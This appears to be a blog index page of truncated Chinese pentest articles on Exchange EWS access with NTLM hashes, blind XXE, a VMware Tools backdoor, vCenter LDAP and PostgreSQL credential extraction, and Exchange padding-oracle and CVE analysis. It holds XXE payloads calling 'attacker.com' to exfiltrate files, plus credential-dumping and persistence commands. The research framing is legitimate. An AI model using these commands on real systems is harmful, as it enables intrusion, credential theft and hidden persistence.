-
Exchange Web Service(EWS)开发指南5——exchangelib
0x00 前言 在之前的文章介绍了通过SOAP XML message实现利用hash对Exchange资源的访问,由于采用了较为底层的通信协议,在功能实现上相对繁琐,但是有助于理解通信协议原理和漏洞利用。 如果仅仅为了更高效的开发一个资源访问的程序,可以借助Python库exchangelib实现。 本文将要介绍exchangelib的用法,开源代码,实现自动化下载邮件和提取附件。 0x01 简介 本文将要介绍以下内容: exchangelib用法 开发细节 开源代码 0x02 exchangelib用法 参考资料: https://github.com/ecederstrand/exchangelib https://ecederstrand.github.io/exchangelib/ 1.简单的登录测试 代码如下: from exchangelib import Credentials, Account, Configuration, DELEGATE credentials = Credentials(username='MYWINDOMAIN\\myuser', password='topsecret') config = Configuration(server='outlook.office365.com', credentials=credentials) account = Account(primary_smtp_address='john@example.com', config=config, autodiscover=False, access_type=DELEGATE) for item in account.inbox.all().order_by('-datetime_received')[:100]: print(item.subject, item.sender, item.datetime_received) 如果Exchange服务器证书不可信,需要忽略证书验证,加入以下代码: from...
-
Exchange Web Service(EWS)开发指南4——Auto Downloader
0x00 前言 我在之前的文章《Exchange Web Service(EWS)开发指南》和《Exchange Web Service(EWS)开发指南2——SOAP XML message》详细介绍了通过SOAP XML message实现利用hash对Exchange资源的访问。 因为是较为底层的通信协议,在功能实现上相对繁琐,例如下载邮件附件的操作,需要依次完成以下操作: 读取文件夹信息,获得邮件对应的ItemId和ChangeKey 读取邮件信息,获得附件的ItemId 通过附件的ItemId获得每个附件对应的AttachmentId 通过AttachmentId下载邮件内容,将内容作Base64解码得到实际内容 如果想要完全自动化实现下载邮件和提取附件,原有的ewsManage.py需要作一些改动 因此,本文将要介绍自动化下载邮件和提取附件的实现细节,开源代码ewsManage_Downloader。 0x01 简介 本文将要介绍以下内容: 设计思路 开发细节 开源代码 0x02 设计思路 ewsManage_Downloader需要满足以下功能: 支持明文和NTLM Hash的登录 支持关键词搜索 支持日期搜索 下载时可以指定下载数量 能够自动下载邮件和提取附件 程序在通信过程中,每次SOAP XML message请求都需要完整的NTLM验证,无法借助Session机制简化登录流程 因此,原有的ewsManage.py代码结构需要重新设计,减少代码冗余。 0x03 开发细节 1.修复登录用户Domain参数的bug 原有的ewsManage.py,需要指定登录用户的Domain作为参数 例如登录用户为test.com\administrator,Domain参数需要设置为test.com 但是,如果登录用户为administrator,那么无法指定Domain参数 这是我之前在使用NTLM认证时没有考虑到的一个地方,解决方法如下: 添加参数判断,如果Domain参数为NULL,那么在NTML认证时不指定Domian参数 代码示例: if domain == "NULL":...
-
渗透工具开发——blind XXE利用平台的实现
0x00 前言 当应用程序存在XXE注入漏洞但不返回其响应中任何定义的外部实体的值时,就会出现blind XXE漏洞,这意味着无法直接读取服务器文件,利用起来也比常规XXE漏洞更加复杂。 在内网渗透中,最理想的情况是在跳板的命令行下完成整个漏洞的利用,于是我打算用Python实现一个完整的blind XXE利用平台,支持在命令行下运行。 0x01 简介 本文将要介绍以下内容: blind XXE基本知识 设计思路 开源代码 0x02 blind XXE基本知识 参考链接: https://portswigger.net/web-security/xxe https://portswigger.net/web-security/xxe/blind 0x03 设计思路 1.漏洞验证 XXE利用代码如下: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com"> ]> 这里定义了一个外部实体,如果存在漏洞,服务器会向指定的Web服务器发送http请求 Web服务器的搭建可以使用Python的SimpleHTTPRequestHandler,细节可参考之前的文章《渗透工具开发——XSS平台的命令行实现》 2.漏洞利用 XXE利用代码如下: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> malicious.dtd为具体的利用代码,这里有以下两种传输数据的方法 (1)通过HTTP协议传输数据 malicious.dtd代码示例: <!ENTITY % file SYSTEM...
-
渗透基础——利用VMware Tools实现的后门
0x00 前言 在渗透测试中,我们经常会碰到Windows虚拟机,这些虚拟机往往会安装VMware Tools,利用VMware Tools的脚本执行功能可以实现一个开机自启动的后门。 关于这项技术的文章: https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/ https://www.hexacorn.com/blog/2017/01/14/beyond-good-ol-run-key-part-53/ 本文将要在参考资料的基础上,分析利用思路,给出防御建议。 0x01 简介 本文将要介绍以下内容: 利用思路 利用分析 防御建议 0x02 利用思路 VMware Tools的脚本执行功能支持在以下四种状态时运行: power,开机状态 resume,恢复状态 suspend,挂起状态 shutdown,关机状态 可以选择以下两种方法进行配置脚本执行的功能: 1.使用VMwareToolboxCmd.exe 默认安装路径:"C:\Program Files\VMware\VMware Tools\VMwareToolboxCmd.exe" 命令示例1: "C:\Program Files\VMware\VMware Tools\VMwareToolboxCmd.exe" script power enable 命令执行后,将在默认安装路径下创建文件C:\ProgramData\VMware\VMware Tools\tools.conf,内容为: [powerops] poweron-script=poweron-vm-default.bat 实现效果: 当系统开机时,将会以System权限执行"C:\Program Files\VMware\VMware Tools\poweron-vm-default.bat" 注: 对于power命令,只能是开机操作,重启操作无法触发 命令示例2: "C:\Program Files\VMware\VMware Tools\VMwareToolboxCmd.exe" script...
-
vSphere开发指南5——LDAP
0x00 前言 在之前的三篇文章《vSphere开发指南1——vSphere Automation API》、《vSphere开发指南2——vSphere Web Services API》和《vSphere开发指南3——VMware PowerCLI》介绍了同虚拟机交互的方法,但有一个利用前提,需要获得管理员用户的口令。 所以本文将要介绍在vCenter上通过LDAP数据库添加管理员用户的方法,扩宽利用思路。 0x01 简介 本文将要介绍以下内容: 利用方法 程序实现 0x02 利用方法 由于介绍这部分的内容相对较少,我从以下资料获得了一些思路: https://www.guardicore.com/blog/pwning-vmware-vcenter-cve-2020-3952/ https://kb.vmware.com/s/article/2147280 vCenter默认安装了LDAP数据库,用来存储登录用户的信息 LDAP的凭据信息使用Likewise进行存储 1.导出LDAP的凭据信息 运行以下命令以访问likewise shell: /opt/likewise/bin/lwregshell 切换目录: cd HKEY_THIS_MACHINE\services\vmdir 导出信息: list_values 执行结果如下图 以上命令可以合并成一句: /opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]' 2.连接LDAP数据库 vCenter内置了ldapsearch,可以用来查询LDAP数据库信息 查询命令示例: ldapsearch -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "P@ssWord123@@" -b "dc=aaa,dc=bbb"...
-
vSphere开发指南4——PostgreSQL
0x00 前言 在之前的三篇文章《vSphere开发指南1——vSphere Automation API》、《vSphere开发指南2——vSphere Web Services API》和《vSphere开发指南3——VMware PowerCLI》介绍了同虚拟机交互的方法,能够远程导出虚拟机的配置信息,本文将要介绍在vCenter上通过PostgreSQL数据库导出虚拟机配置信息的方法。 0x01 简介 本文将要介绍以下内容: 导出方法 程序实现 0x02 导出方法 vCenter默认安装了PostgreSQL数据库,用来存储VM和ESXI的信息 在之前的文章《Confluence利用指南》提到过: PostgreSQL安装完成后会在本地操作系统创建一个名为postgres的用户,默认没有口令 如果没有设置用户postgres的口令,可以通过以下命令连接PostgreSQL数据库: psql -h localhost -U postgres 执行结果如下图 默认用户列表如下图 如果设置了用户postgres的口令并且无法获得,可以选择用户vc进行操作,连接PostgreSQL数据库的命令如下: psql -h localhost -d VCDB -U vc 执行结果如下图 用户vc的明文口令存储在固定文件/etc/vmware-vpx/vcdb.properties中 注: psql不支持直接传入口令作为参数,需要交互的环境进行操作 连接至PostgreSQL数据库后,查询虚拟机配置信息的命令如下: SELECT * FROM vc.vpx_vm; 连接至PostgreSQL数据库后,查询ESXI配置信息的命令如下: SELECT * FROM vc.vpx_host; 为了便于使用,连接PostgreSQL数据库和查询命令可以进行合并,这里分享以下两个命令示例:...
-
VMware VCenter Server漏洞调试环境搭建
0x00 前言 本文记录从零开始搭建VMware VCenter Server漏洞调试环境的细节。 0x01 简介 本文将要介绍以下内容: 下载vCenter上的文件 vCenter服务器开启调试模式 本地使用IDEA进行远程调试 0x02 下载vCenter上的文件 为了能够从vCenter上下载文件,这里选择通过SSH连接的方式实现文件下载 1.开启SSH 通常可选择以下两种方法: (1)通过浏览器配置 访问https://<url>:5480 在Access页面下进行开启,如下图 (2)通过虚拟机配置 访问虚拟机登录页面,按F2进入配置页面,在Troubleshooting Mode Options下进行开启,如下图 2.切换到Bash shell 使用SSH登录至vCenter时,默认为Appliance Shell,需要输入shell命令才能进入Bash shell 如下图 这就导致了无法直接使用scp等命令进行文件上传和下载 这里需要将默认的Appliance Shell切换到Bash shell,方法如下: (1)使用SSH登录至vCente (2)输入shell命令进入Bash shell (3)输入以下命令设置默认环境: chsh -s /bin/bash root 如果返回结果如下: You are required to change your password immediately...
-
Pwn2Own 2021 Microsoft Exchange Server漏洞(CVE-2021-31196)利用分析
0x00 前言 CVE-2021-31196是一个逻辑漏洞,利用前提是需要中间人攻击,并且还需要用户的交互操作,最后能够实现远程代码执行。 漏洞作者分享的技术文章: https://srcincite.io/blog/2021/08/25/pwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html 本文仅在技术角度记录自己的研究心得。 0x01 简介 本文将要介绍以下内容: 漏洞调试 利用思路 0x02 漏洞调试 1.漏洞摘要 在Exchange Server 2013或更高版本中,当管理用户在Exchange Management Shell中运行Update-ExchangeHelp或者Update-ExchangeHelp -Force命令时,处于特权网络位置的未经身份验证的攻击者可以触发远程执行代码漏洞 特权网络位置是指攻击者能够劫持域名http://go.microsoft.com/fwlink/p/?LinkId=287244 2.漏洞代码位置 按照原文中给出的资料,dnSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Management.dll 依次定位到Microsoft.Exchange.Management.UpdatableHelp -> HelpUpdater -> UpdateHelp() 3.漏洞逻辑 (1)使用Exchange Management Shell执行Update-ExchangeHelp命令或者Update-ExchangeHelp -Force命令 在Exchange Server 2013或更高版本中,支持Update-ExchangeHelp命令,用来检查本地计算机上Exchange Management Shell最新可用版本的帮助 Update-ExchangeHelp的限制期为24小时,如果在24小时内再次执行命令,需要加入-Force参数 执行命令后进入UpdateHelp()函数,开始后面的操作 (2)下载配置文件 UpdateHelp()函数中下载配置文件的代码如下图 DownloadManifest()的实现代码如下: internal void DownloadManifest() { string...
-
Confluence利用指南
0x00 前言 Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。 前不久爆出了漏洞CVE-2021-26084 - Confluence Server Webwork OGNL injection,本文仅在技术研究的角度介绍Confluence的相关知识。 0x01 简介 Confluence环境搭建 利用思路 0x02 Confluence环境搭建 环境搭建的参考资料: Windows: https://confluence.atlassian.com/doc/installing-confluence-on-windows-255362047.html Linux: https://confluence.atlassian.com/doc/installing-confluence-on-linux-143556824.html 本文以Centos7搭建Confluence为例进行介绍 1.配置数据库 这里选择PostgreSQL,安装的参考资料: https://confluence.atlassian.com/doc/database-setup-for-postgresql-173244522.html (1)安装PostgreSQL 访问地址:https://www.postgresql.org/download/linux/redhat/ 获得安装命令,如下图 安装完成后查看运行状态: systemctl status postgresql-13 (2)配置PostgreSQL 设置允许其他程序访问数据库: 修改/var/lib/pgsql/13/data/pg_hba.conf 将METHOD改为trust,设置如下图 重启PostgreSQL: systemctl restart postgresql-13 补充:配置允许其他IP访问数据库 修改/var/lib/pgsql/13/data/pg_hba.conf 将ADDRESS改为0.0.0.0/0,如下图 修改/var/lib/pgsql/13/data/postgresql.conf 设置listen_addresses = '*',如下图 重启PostgreSQL: systemctl restart...
-
ProxyOracle利用分析2——CVE-2021-31196
0x00 前言 在上篇文章《ProxyOracle利用分析1——CVE-2021-31195》介绍了获得用户Cookie信息的思路,本文将要介绍如何通过Padding Oracle Attack还原出用户明文口令 0x01 简介 本文将要介绍以下内容: 实现思路 部分开源代码 0x02 实现思路 实现Padding Oracle Attack的前提条件: 1.获得密文和密文对应的IV(初始化向量) 2.能够触发密文的解密过程,且能够知道密文的解密结果 对应到Exchange上面,具体信息如下: (1)获得密文和密文对应的IV(初始化向量) Cookie信息中的cadata对应密文,cadataIV对应IV (2)能够触发密文的解密过程,且能够知道密文的解密结果 我们通过dnsSpy反编译dll能够获得详细的解密过程,方法如下: 使用dnsSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll 依次定位到Microsoft.Exchange.HttpProxy -> FbaModule -> ParseCadataCookies(HttpApplication httpApplication) 如下图 得到触发密文解密过程的方法: 访问https://<url>/owa,发送GET数据包,Cookie中需要包含cadata、cadataTTL、cadataKey、cadataIV和cadataSig 密文解密结果的判断: 发送GET数据包后,默认进行302跳转,并在响应内容中标记是否解密成功 解密结果可以通过查看LogonReason的定义进行判断 如下图 从这里看出,0代表None,这里为格式错误,1代表Logoff,2代表InvalidCredentials,3代表Timeout,4代表ChangePasswordLogoff 我们在尝试解密时,当reason=2,代表解密成功 当reason=3时,代表Cookie已过期,此时无法实现Padding Oracle Attack 注: Exchange的Cookie有效期为12小时 0x03 部分开源代码 1.破解第0个分组的第8个字节 Python实现的完整示例代码如下: #python3...